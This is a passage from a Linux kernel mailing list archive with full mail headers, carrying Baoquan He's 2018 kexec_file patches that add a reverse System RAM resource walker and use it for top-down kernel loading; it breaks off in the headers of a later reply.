To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 04 06:09:55 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1faZ74-00057p-Rc
	for gln-linux-nvdimm@m.gmane.org; Wed, 04 Jul 2018 06:09:55 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id E802C2098C8DF;
	Tue,  3 Jul 2018 21:12:05 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 0AC4E2097172F
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue,  3 Jul 2018 21:12:04 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 102FFB798;
 Wed,  4 Jul 2018 04:12:03 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 83CD02026D76;
 Wed,  4 Jul 2018 04:11:42 +0000 (UTC)
In-Reply-To: <20180704041038.8190-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.1]); Wed, 04 Jul 2018 04:12:03 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.1]);
 Wed, 04 Jul 2018 04:12:03 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10606 gmane.linux.kernel:2810984 gmane.linux.drivers.devicetree:277710 gmane.linux.kernel.pci:73733 gmane.linux.kernel.input:61880 gmane.linux.ports.parisc:28716 gmane.linux.kernel.kexec:21076 gmane.linux.ports.ppc64.devel:159590
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10606>

VGhpcyBmdW5jdGlvbiwgYmVpbmcgYSB2YXJpYW50IG9mIHdhbGtfc3lzdGVtX3JhbV9yZXMoKSBp
bnRyb2R1Y2VkIGluCmNvbW1pdCA4Yzg2ZTcwYWNlYWQgKCJyZXNvdXJjZTogcHJvdmlkZSBuZXcg
ZnVuY3Rpb25zIHRvIHdhbGsgdGhyb3VnaApyZXNvdXJjZXMiKSwgd2Fsa3MgdGhyb3VnaCBhIGxp
c3Qgb2YgYWxsIHRoZSByZXNvdXJjZXMgb2YgU3lzdGVtIFJBTQppbiByZXZlcnNlZCBvcmRlciwg
aS5lLiwgZnJvbSBoaWdoZXIgdG8gbG93ZXIuCgpJdCB3aWxsIGJlIHVzZWQgaW4ga2V4ZWNfZmls
ZSBjb2RlLgoKU2lnbmVkLW9mZi1ieTogQmFvcXVhbiBIZSA8YmhlQHJlZGhhdC5jb20+CkNjOiBB
bmRyZXcgTW9ydG9uIDxha3BtQGxpbnV4LWZvdW5kYXRpb24ub3JnPgpDYzogVGhvbWFzIEdsZWl4
bmVyIDx0Z2x4QGxpbnV0cm9uaXguZGU+CkNjOiBCcmlqZXNoIFNpbmdoIDxicmlqZXNoLnNpbmdo
QGFtZC5jb20+CkNjOiAiSsOpcsO0bWUgR2xpc3NlIiA8amdsaXNzZUByZWRoYXQuY29tPgpDYzog
Qm9yaXNsYXYgUGV0a292IDxicEBzdXNlLmRlPgpDYzogVG9tIExlbmRhY2t5IDx0aG9tYXMubGVu
ZGFja3lAYW1kLmNvbT4KQ2M6IFdlaSBZYW5nIDxyaWNoYXJkLndlaXlhbmdAZ21haWwuY29tPgot
LS0KIGluY2x1ZGUvbGludXgvaW9wb3J0LmggfCAgMyArKysKIGtlcm5lbC9yZXNvdXJjZS5jICAg
ICAgfCA0MCArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrCiAyIGZpbGVz
IGNoYW5nZWQsIDQzIGluc2VydGlvbnMoKykKCmRpZmYgLS1naXQgYS9pbmNsdWRlL2xpbnV4L2lv
cG9ydC5oIGIvaW5jbHVkZS9saW51eC9pb3BvcnQuaAppbmRleCBiNzQ1NmFlODg5ZGQuLjA2NmNj
MjYzZTJjYyAxMDA2NDQKLS0tIGEvaW5jbHVkZS9saW51eC9pb3BvcnQuaAorKysgYi9pbmNsdWRl
L2xpbnV4L2lvcG9ydC5oCkBAIC0yNzksNiArMjc5LDkgQEAgZXh0ZXJuIGludAogd2Fsa19zeXN0
ZW1fcmFtX3Jlcyh1NjQgc3RhcnQsIHU2NCBlbmQsIHZvaWQgKmFyZywKIAkJICAgIGludCAoKmZ1
bmMpKHN0cnVjdCByZXNvdXJjZSAqLCB2b2lkICopKTsKIGV4dGVybiBpbnQKK3dhbGtfc3lzdGVt
X3JhbV9yZXNfcmV2KHU2NCBzdGFydCwgdTY0IGVuZCwgdm9pZCAqYXJnLAorCQkJaW50ICgqZnVu
Yykoc3RydWN0IHJlc291cmNlICosIHZvaWQgKikpOworZXh0ZXJuIGludAogd2Fsa19pb21lbV9y
ZXNfZGVzYyh1bnNpZ25lZCBsb25nIGRlc2MsIHVuc2lnbmVkIGxvbmcgZmxhZ3MsIHU2NCBzdGFy
dCwgdTY0IGVuZCwKIAkJICAgIHZvaWQgKmFyZywgaW50ICgqZnVuYykoc3RydWN0IHJlc291cmNl
ICosIHZvaWQgKikpOwogCmRpZmYgLS1naXQgYS9rZXJuZWwvcmVzb3VyY2UuYyBiL2tlcm5lbC9y
ZXNvdXJjZS5jCmluZGV4IDZkNjQ3YTM4MjRiMS4uNGM1ZmJlZjRlYTI0IDEwMDY0NAotLS0gYS9r
ZXJuZWwvcmVzb3VyY2UuYworKysgYi9rZXJuZWwvcmVzb3VyY2UuYwpAQCAtMjMsNiArMjMsOCBA
QAogI2luY2x1ZGUgPGxpbnV4L3Bmbi5oPgogI2luY2x1ZGUgPGxpbnV4L21tLmg+CiAjaW5jbHVk
ZSA8bGludXgvcmVzb3VyY2VfZXh0Lmg+CisjaW5jbHVkZSA8bGludXgvc3RyaW5nLmg+CisjaW5j
bHVkZSA8bGludXgvdm1hbGxvYy5oPgogI2luY2x1ZGUgPGFzbS9pby5oPgogCiAKQEAgLTQ0Myw2
ICs0NDUsNDQgQEAgaW50IHdhbGtfc3lzdGVtX3JhbV9yZXModTY0IHN0YXJ0LCB1NjQgZW5kLCB2
b2lkICphcmcsCiB9CiAKIC8qCisgKiBUaGlzIGZ1bmN0aW9uLCBiZWluZyBhIHZhcmlhbnQgb2Yg
d2Fsa19zeXN0ZW1fcmFtX3JlcygpLCBjYWxscyB0aGUgQGZ1bmMKKyAqIGNhbGxiYWNrIGFnYWlu
c3QgYWxsIG1lbW9yeSByYW5nZXMgb2YgdHlwZSBTeXN0ZW0gUkFNIHdoaWNoIGFyZSBtYXJrZWQg
YXMKKyAqIElPUkVTT1VSQ0VfU1lTVEVNX1JBTSBhbmQgSU9SRVNPVUNFX0JVU1kgaW4gcmV2ZXJz
ZWQgb3JkZXIsIGkuZS4sIGZyb20KKyAqIGhpZ2hlciB0byBsb3dlci4KKyAqLworaW50IHdhbGtf
c3lzdGVtX3JhbV9yZXNfcmV2KHU2NCBzdGFydCwgdTY0IGVuZCwgdm9pZCAqYXJnLAorCQkJCWlu
dCAoKmZ1bmMpKHN0cnVjdCByZXNvdXJjZSAqLCB2b2lkICopKQoreworCXVuc2lnbmVkIGxvbmcg
ZmxhZ3M7CisJc3RydWN0IHJlc291cmNlICpyZXM7CisJaW50IHJldCA9IC0xOworCisJZmxhZ3Mg
PSBJT1JFU09VUkNFX1NZU1RFTV9SQU0gfCBJT1JFU09VUkNFX0JVU1k7CisKKwlyZWFkX2xvY2so
JnJlc291cmNlX2xvY2spOworCWxpc3RfZm9yX2VhY2hfZW50cnlfcmV2ZXJzZShyZXMsICZpb21l
bV9yZXNvdXJjZS5jaGlsZCwgc2libGluZykgeworCQlpZiAoc3RhcnQgPj0gZW5kKQorCQkJYnJl
YWs7CisJCWlmICgocmVzLT5mbGFncyAmIGZsYWdzKSAhPSBmbGFncykKKwkJCWNvbnRpbnVlOwor
CQlpZiAocmVzLT5kZXNjICE9IElPUkVTX0RFU0NfTk9ORSkKKwkJCWNvbnRpbnVlOworCQlpZiAo
cmVzLT5lbmQgPCBzdGFydCkKKwkJCWJyZWFrOworCisJCWlmICgocmVzLT5lbmQgPj0gc3RhcnQp
ICYmIChyZXMtPnN0YXJ0IDwgZW5kKSkgeworCQkJcmV0ID0gKCpmdW5jKShyZXMsIGFyZyk7CisJ
CQlpZiAocmV0KQorCQkJCWJyZWFrOworCQl9CisJCWVuZCA9IHJlcy0+c3RhcnQgLSAxOworCisJ
fQorCXJlYWRfdW5sb2NrKCZyZXNvdXJjZV9sb2NrKTsKKwlyZXR1cm4gcmV0OworfQorCisvKgog
ICogVGhpcyBmdW5jdGlvbiBjYWxscyB0aGUgQGZ1bmMgY2FsbGJhY2sgYWdhaW5zdCBhbGwgbWVt
b3J5IHJhbmdlcywgd2hpY2gKICAqIGFyZSByYW5nZXMgbWFya2VkIGFzIElPUkVTT1VSQ0VfTUVN
IGFuZCBJT1JFU09VQ0VfQlVTWS4KICAqLwotLSAKMi4xMy42CgpfX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fXwpMaW51eC1udmRpbW0gbWFpbGluZyBsaXN0Ckxp
bnV4LW52ZGltbUBsaXN0cy4wMS5vcmcKaHR0cHM6Ly9saXN0cy4wMS5vcmcvbWFpbG1hbi9saXN0
aW5mby9saW51eC1udmRpbW0K


From - Thu Nov 08 21:41:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: [PATCH v6 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Wed,  4 Jul 2018 12:10:38 +0800
Lines: 45
Approved: news@gmane.org
Message-ID: <20180704041038.8190-5-bhe@redhat.com>
References: <20180704041038.8190-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530677422 21840 195.159.176.226 (4 Jul 2018 04:10:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 04:10:22 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
 davem@davem
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 04 06:10:13 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1faZ7N-0005Tx-0F
	for gln-linux-nvdimm@m.gmane.org; Wed, 04 Jul 2018 06:10:13 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 1B72D2098EA96;
	Tue,  3 Jul 2018 21:12:24 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id C51F2209831E8
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue,  3 Jul 2018 21:12:22 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 8D65B40251D4;
 Wed,  4 Jul 2018 04:12:21 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id CCDBA2026D76;
 Wed,  4 Jul 2018 04:12:03 +0000 (UTC)
In-Reply-To: <20180704041038.8190-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.6]); Wed, 04 Jul 2018 04:12:21 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.6]);
 Wed, 04 Jul 2018 04:12:21 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10607 gmane.linux.kernel:2810985 gmane.linux.drivers.devicetree:277711 gmane.linux.kernel.pci:73734 gmane.linux.kernel.input:61881 gmane.linux.ports.parisc:28717 gmane.linux.kernel.kexec:21077 gmane.linux.ports.ppc64.devel:159591
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10607>

For kexec_file loading, if kexec_buf.top_down is 'true', the memory which
is used to load kernel/initrd/purgatory is supposed to be allocated from
top to down. This is what we have been doing all along in the old kexec
loading interface and the kexec loading is still default setting in some
distributions. However, the current kexec_file loading interface doesn't
do likt this. The function arch_kexec_walk_mem() it calls ignores checking
kexec_buf.top_down, but calls walk_system_ram_res() directly to go through
all resources of System RAM from bottom to up, to try to find memory region
which can contain the specific kexec buffer, then call locate_mem_hole_callback()
to allocate memory in that found memory region from top to down. This brings
confusion especially when KASLR is widely supported , users have to make clear
why kexec/kdump kernel loading position is different between these two
interfaces in order to exclude unnecessary noises. Hence these two interfaces
need be unified on behaviour.

Here add checking if kexec_buf.top_down is 'true' in arch_kexec_walk_mem(),
if yes, call the newly added walk_system_ram_res_rev() to find memory region
from top to down to load kernel.

Signed-off-by: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Eric Biederman <ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org>
Cc: Vivek Goyal <vgoyal-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Cc: Yinghai Lu <yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Cc: kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
---
 kernel/kexec_file.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/kernel/kexec_file.c b/kernel/kexec_file.c
index c6a3b6851372..75226c1d08ce 100644
--- a/kernel/kexec_file.c
+++ b/kernel/kexec_file.c
@@ -518,6 +518,8 @@ int __weak arch_kexec_walk_mem(struct kexec_buf *kbuf,
 					   IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY,
 					   crashk_res.start, crashk_res.end,
 					   kbuf, func);
+	else if (kbuf->top_down)
+		return walk_system_ram_res_rev(0, ULONG_MAX, kbuf, func);
 	else
 		return walk_system_ram_res(0, ULONG_MAX, kbuf, func);
 }
-- 
2.13.6

From - Thu Nov 08 21:41:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Wed, 4 Jul 2018 12:18:34 +0800
Lines: 45
Approved: news@gmane.org
Message-ID: <20180704041834.GA2762@MiWiFi-R3L-srv>
References: <20180612032831.29747-1-bhe@redhat.com>
 <20180612032831.29747-2-bhe@redhat.com>
 <CAHp75Vd6v4+RTq-5uw_BJpT6=w2KGjTfU+rEst6+8igs2cyntw@mail.gmail.com>
 <20180612093812.GC1820@MiWiFi-R3L-srv>
 <CAHp75Vf_kBLkE6v=JyOdfNoWktWEfKs7JzRP1XEc4TeuT5xqfw@mail.gmail.com>
 <CAHp75Vdaqj+n=F7wSB9PFGpf9Ok2XZzKcq_H0DzmtjmN-4UUfw@mail.gmail.com>
 <20180703145503.GA1225@MiWiFi-R3L-srv>
 <CAHp75VeEjhcYF4Fy4O_srdv_nEGGjGwAHhZufscB_tiLQVQ=FQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530677801 16112 195.159.176.226 (4 Jul 2018 04:16:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 04:16:41 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Nicolas Pitre <nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 devicetree <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, KY Srinivasan <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Frank Rowand <frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Lorenzo Pieralisi <lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org>,
 Stephen Hemminger <sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
 Patrik Jakobsson <patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 linux-input <linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Gustavo Padovan <gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org>, Borislav Petkov <bp-l3A5Bk7waGM@public.gmane.org>,
 Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Tom Lendacky <thomas.lendacky-5C7GfCeVMHo@public.gmane.org>,
 Haiyang Zhang <haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Maarten Lankhorst <maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>,
 Josh Triplett <josh@joshtri
To: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 04 06:16:33 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1faZDU-00042G-Uz
	for gln-linux-nvdimm@m.gmane.org; Wed, 04 Jul 2018 06:16:33 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 04830210D5122;
	Tue,  3 Jul 2018 21:18:44 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id BFB2B210C0F6A
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue,  3 Jul 2018 21:18:42 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
